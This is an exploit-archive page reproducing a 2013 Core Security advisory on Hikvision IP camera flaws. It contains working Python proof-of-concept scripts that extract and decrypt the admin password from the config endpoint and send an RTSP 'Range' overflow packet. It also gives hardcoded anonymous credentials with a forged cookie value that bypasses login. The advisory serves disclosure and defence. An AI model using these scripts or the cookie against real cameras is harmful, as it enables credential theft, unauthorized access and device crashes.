Menu

Search for hundreds of thousands of exploits

"Hikvision IP Cameras 4.1.0 b130111 - Multiple Vulnerabilities"

Author

Exploit author

"Core Security"

Platform

Exploit platform

hardware

Release date

Exploit published date

2013-08-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Hikvision IP Cameras Multiple Vulnerabilities


1. *Advisory Information*

Title: Hikvision IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0708
Advisory URL:
http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities
Date published: 2013-08-06
Date of last update: 2013-08-06
Vendors contacted: Hikvision
Release mode: User release


2. *Vulnerability Information*

Class: Input validation error [CWE-20], Use of Hard-coded Credentials
[CWE-798], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977


3. *Vulnerability Description*

Multiple vulnerabilities have been found in Hikvision IP camera
DS-2CD7153-E [1] (and potentially other cameras sharing the affected
firmware [2]) that could allow a remote attacker:

   1. [CVE-2013-4975] To obtain the admin password from a non-privileged
user account.
   2. [CVE-2013-4976] To bypass the anonymous user authentication using
hard-coded credentials (even if the built-in anonymous user account was
explicitly disabled).
   3. [CVE-2013-4977] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.


4. *Vulnerable Packages*

   . Hikvision-DS-2CD7153-E IP camera with firmware v4.1.0 b130111 (Jan
2013).
   . Other devices based on the same firmware [2] are probably affected
too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

There was no official answer from Hikvision after several attempts (see
[Sec. 8]); contact vendor for further information. Some mitigation
actions may be:

   . Do not expose the camera to internet unless absolutely necessary.
   . Have at least one proxy filtering HTTP requests to
'/PSIA/System/ConfigurationData'.
   . Have at least one proxy filtering the 'Range' parameter in RTSP
requests.


6. *Credits*

   . [CVE-2013-4975] was discovered and researched by Alberto Solino
from Core Security.
   . [CVE-2013-4976] was discovered and researched by Alejandro
Rodriguez from Core Exploit QA Team.
   . [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research
by Anibal Sacco and Federico Muttis from Core Exploit Writers Team.
   . The publication of this advisory was coordinated by Fernando
Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *Privilege Escalation through ConfigurationData Request*

[CVE-2013-4975] The following script allows obtaining the administrator
password by requesting the camera's configuration data and breaking its
trivial encryption. A valid user account is needed to launch the attack.

/-----
import urllib2
import base64
import argparse
import sys

def decrypt(config):
    # Important: We're assuming the last 4 bytes of the file's plaintext
are        
    # zero, hence there we have the key. There are other easy ways to
    # calculate this tho.
    print '[*] Decrypting config'
    key = config[-4:]
    plaintext = ''
    for i in range(len(config)/4):
        for j in range(4):
            plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))
    return plaintext

def attack(target, username, password, output):
    base_url = 'http://' + target + '/PSIA/System/ConfigurationData'
    headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s'
%(username,password)) }
    print '[*] Attacking %s ' % target
    req = urllib2.Request(base_url, None, headers)
    try:
        response = urllib2.urlopen(req)
        config = response.read()
    except Exception, e:
        print e
        return
    plaintext = decrypt(config)
    print '[*] Writing output file %s' % output
    f = open(output, 'w')
    f.write(plaintext)
    f.close()
    user = plaintext[0x45A0:0x45A0+32]
    pwd  = plaintext[0x45C0:0x45C0+16]
    print 'Probably the admin user is %s and the password is %s' %
(user, pwd)
    print "If it doesn't make any sense, just do a strings of the output
file"
    
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('target', action = 'store', help = 'target host
to attack')
    parser.add_argument('username', action = 'store', help = 'username
to be used to authenticate against target')
    parser.add_argument('password', action = 'store', help = "username's
password")
    parser.add_argument('output', action = 'store', help = "filename to
write the plaintext config")
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()
    attack(options.target, options.username, options.password,
options.output)
-----/


7.2. *Anonymous User Authentication Bypass*

[CVE-2013-4976] The camera has a built-in anonymous account intended for
guest users, but even when the feature is disabled it could be bypassed
due to the usage of hardcoded credentials:

/-----
user: anonymous
password: \177\177\177\177\177\177        
-----/

The bypass cannot be used directly through the login form but rather by
forging a cookie:

   1. Load the login page to generate the initial cookies of the
camera's webapp.
   2. Use your preferred tool (for example Firebug on Firefox) to create
a cookie with the name 'userInfoXX' (replace XX with the port where the
webserver is running i.e. 'userInfo80'), path '/' and value
'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple
'user:pass' encoded in base64 explained above.
   3. Request the URI 'http:/<ipcam>/doc/pages/main.asp', a page that
should not be accessed without authentication if the anonymous user is
disabled.
There are several references to those hardcoded credentials in the cgis,
but in particular the following snippet was found in
'/doc/pages/scripts/login.js'::

/-----
107: function DoLogin(){
(...)
166:
$.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177"   
):m_szUserPwdValue);
(...)
-----/

This bypass is not completely useful per se since all the interesting
requests are actually handled by the PSIA (Physical Security
Interoperability Alliance's) API. Nevertheless, if it is ever combined
with a privilege escalation it would allow remote attacker to control
the camera without proper credentials.


7.3. *Buffer Overflow in the RTSP Packet Handler*

[CVE-2013-4977] The following Python script sends a specially crafted
packet that triggers a buffer overrun condition when handling the
'Range' parameter of a RTSP transaction. As a result, the process
handling the communication crashes and the Watchdog service issues a
full restart. No authentication is required to exploit this
vulnerability and it would possible lead to a remote code execution.

/-----
import socket

HOST = '192.168.1.100'
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

trigger_pkt =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
trigger_pkt += "CSeq: 7\r\n"
trigger_pkt += "Range:
npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media
v2010.02.10)\r\n\r\n"

s.sendall(trigger_pkt)
print "Packet sent"
data = s.recv(1024)
print 'Received', repr(data), "\r\n"
s.close()    
-----/


8. *Report Timeline*

. 2013-07-08:
Core attempts to report the vulnerability using the Hikvision official
contact addresses [3]. No reply received.

. 2013-07-15:
Core attempts to contact vendor.

. 2013-07-22:
Core attempts to contact vendor.

. 2013-07-30:
Core attempts to contact vendor.

. 2013-08-06:
Advisory CORE-2013-0708 published as 'user release'.


9. *References*

[1] Hikvision DS-2CD7153-E Network Mini Dome Camera,
http://www.hikvision.com/en/products_show.asp?id=506.
[2] Hikvision IP cameras using firmware v4.1.0 b130111:
 DS-2CD833F-E DS-2CD893PF-E DS-2CD893PFWD-E DS-2CD893NF-E
DS-2CD893NFWD-E DS-2CD863PF-E DS-2CD863NF-E DS-2CD864F-E DS-2CD864FWD-E
DS-2CD853F-E DS-2CD855F-E DS-2CD854F-E DS-2CD854FWD-E DS-2CD883F-E
DS-2CD733F-E DS-2CD733F-EZ DS-2CD793PF-E DS-2CD793PF-EZ DS-2CD793PFWD-E
DS-2CD793PFWD-EZ DS-2CD793NF-E DS-2CD793NF-EZ DS-2CD793NFWD-E
DS-2CD793NFWD-EZ DS-2CD763PF-E DS-2CD763PF-EZ DS-2CD763NF-E
DS-2CD763NF-EZ DS-2CD764F-E DS-2CD764F-EZ DS-2CD764FWD-E DS-2CD764FWD-EZ
DS-2CD753F-E DS-2CD753F-EZ DS-2CD755F-E DS-2CD755F-EZ DS-2CD754F-E
DS-2CD754F-EZ DS-2CD754FWD-E DS-2CD783F-E DS-2CD783F-EZ DS-2CD733F-EI
DS-2CD733F-EIZ DS-2CD793PF-EI DS-2CD793PF-EIZ DS-2CD793PFWD-EI
DS-2CD793PFWD-EIZ DS-2CD793NF-EI DS-2CD793NF-EIZ DS-2CD793NFWD-EI
DS-2CD793NFWD-EIZ DS-2CD763PF-EI DS-2CD763PF-EIZ DS-2CD763NF-EI
DS-2CD763NF-EIZ DS-2CD764F-EI DS-2CD764F-EIZ DS-2CD764FWD-EI
DS-2CD764FWD-EIZ DS-2CD753F-EI DS-2CD753F-EIZ DS-2CD755F-EI
DS-2CD755F-EIZ DS-2CD754F-EI DS-2CD754F-EIZ DS-2CD754FWD-EI
DS-2CD783F-EI DS-2CD783F-EIZ DS-2CD7233F-EZ DS-2CD7233F-EZH
DS-2CD7233F-EZS DS-2CD7233F-EZHS DS-2CD7293PF-EZ DS-2CD7293PF-EZH
DS-2CD7293PFWD-EZ DS-2CD7293PFWD-EZH DS-2CD7293NF-EZ DS-2CD7293NF-EZH
DS-2CD7293NFWD-EZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EZ DS-2CD7263PF-EZH
DS-2CD7263PF-EZS DS-2CD7263PF-EZHS DS-2CD7263NF-EZ DS-2CD7263NF-EZH
DS-2CD7263NF-EZS DS-2CD7263NF-EZHS DS-2CD7264FWD-EZ DS-2CD7264FWD-EZH
DS-2CD7253F-EZ DS-2CD7253F-EZH DS-2CD7253F-EZS DS-2CD7253F-EZHS
DS-2CD7255F-EZ DS-2CD7255F-EZH DS-2CD7254F-EZ DS-2CD7254F-EZH
DS-2CD7254F-EZS DS-2CD7254F-EZHS DS-2CD7233F-EIZ DS-2CD7233F-EIZH
DS-2CD7233F-EIZS DS-2CD7233F-EIZHS DS-2CD7293PF-EIZ DS-2CD7293PF-EIZH
DS-2CD7293PFWD-EIZ DS-2CD7293PFWD-EIZH DS-2CD7293NF-EIZ DS-2CD7293NF-EZH
DS-2CD7293NFWD-EIZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EIZ DS-2CD7263PF-EIZH
DS-2CD7263PF-EIZH DS-2CD7263PF-EIZHS DS-2CD7263NF-EIZ DS-2CD7263NF-EIZH
DS-2CD7263NF-EIZH DS-2CD7263NF-EIZHS DS-2CD7264FWD-EIZ
DS-2CD7264FWD-EIZH DS-2CD7253F-EIZ DS-2CD7253F-EIZH DS-2CD7253F-EIZS
DS-2CD7253F-EIZHS DS-2CD7255F-EIZ DS-2CD7255F-EIZH DS-2CD7254F-EIZ
DS-2CD7254F-EIZH DS-2CD7254F-EIZH DS-2CD7254F-EIZHS DS-2CD7133-E
DS-2CD8133F-E DS-2CD8133F-EI DS-2CD7164-E DS-2CD7153-E DS-2CD8153F-E
DS-2CD8153F-EI DS-2CD8233F-E DS-2CD8233F-ES DS-2CD8264F-E
DS-2CD8264FWD-E DS-2CD8264FWD-ES DS-2CD8253F-E DS-2CD8253F-ES
DS-2CD8255F-E DS-2CD8254F-E DS-2CD8254F-ES DS-2CD8283F-E DS-2CD8283F-ES
DS-2CD8233F-EI DS-2CD8233F-EIS DS-2CD8264F-EI DS-2CD8264FWD-EI
DS-2CD8264FWD-EIS DS-2CD8253F-EI DS-2CD8253F-EIS DS-2CD8255F-EI
DS-2CD8254F-EI DS-2CD8254F-EIS DS-2CD8283F-EI DS-2CD8283F-EIS
DS-2CD8433F-EI DS-2CD8464F-EI.
[3] Hikvision contact page,
http://www.hikvision.com/En/US/contactHikvision.asp.


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2018-10-05 "D-Link Central WiFiManager Software Controller 1.03 - Multiple Vulnerabilities" webapps php "Core Security"
2018-07-27 "SoftNAS Cloud < 4.0.3 - OS Command Injection" webapps php "Core Security"
2018-07-13 "QNAP Qcenter Virtual Appliance - Multiple Vulnerabilities" webapps hardware "Core Security"
2018-02-22 "Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities" webapps jsp "Core Security"
2018-02-14 "Dell EMC Isilon OneFS - Multiple Vulnerabilities" webapps linux "Core Security"
2017-06-28 "Kaspersky Anti-Virus File Server 8.0.3.297 - Multiple Vulnerabilities" webapps linux "Core Security"
2017-05-10 "SAP SAPCAR 721.510 - Heap Buffer Overflow" dos linux "Core Security"
2016-11-22 "TP-LINK TDDP - Multiple Vulnerabilities" dos hardware "Core Security"
2016-08-10 "SAP SAPCAR - Multiple Vulnerabilities" dos linux "Core Security"
2016-03-16 "FreeBSD 10.2 (x64) - 'amd64_set_ldt' Heap Overflow" dos freebsd_x86-64 "Core Security"
2015-12-09 "Microsoft Windows Media Center - '.Link' File Incorrectly Resolved Reference (MS15-134)" remote windows "Core Security"
2015-07-08 "AirLive (Multiple Products) - OS Command Injection" webapps hardware "Core Security"
2015-07-08 "AirLink101 SkyIPCam1620W - OS Command Injection" webapps hardware "Core Security"
2015-05-26 "Sendio ESP - Information Disclosure" webapps jsp "Core Security"
2015-03-18 "Fortinet Single Sign On - Stack Overflow" dos windows "Core Security"
2015-01-29 "FreeBSD - Multiple Vulnerabilities" dos freebsd "Core Security"
2015-01-26 "Android WiFi-Direct - Denial of Service" dos android "Core Security"
2014-11-24 "Advantech EKI-6340 - Command Injection" webapps cgi "Core Security"
2014-10-17 "SAP NetWeaver Enqueue Server - Denial of Service" dos windows "Core Security"
2014-04-17 "SAP Router - Timing Attack Password Disclosure" remote hardware "Core Security"
2014-03-12 "Oracle VM VirtualBox - 3D Acceleration Multiple Vulnerabilities" dos multiple "Core Security"
2014-02-06 "Publish-It 3.6d - Buffer Overflow" dos windows "Core Security"
2013-12-17 "Microsoft Windows Kernel - 'win32k.sys' Integer Overflow (MS13-101)" dos windows "Core Security"
2013-12-11 "IcoFX 2.5.0.0 - '.ico' Buffer Overflow (PoC)" dos windows "Core Security"
2013-11-08 "Vivotek IP Cameras - RTSP Authentication Bypass" webapps hardware "Core Security"
2013-10-02 "PinApp Mail-SeCure 3.70 - Access Control Failure" local linux "Core Security"
2013-09-09 "Sophos Web Protection Appliance - Multiple Vulnerabilities" webapps linux "Core Security"
2013-08-29 "AVTECH DVR Firmware 1017-1003-1009-1003 - Multiple Vulnerabilities" dos hardware "Core Security"
2013-08-07 "Hikvision IP Cameras 4.1.0 b130111 - Multiple Vulnerabilities" webapps hardware "Core Security"
2013-08-02 "TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities" webapps hardware "Core Security"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.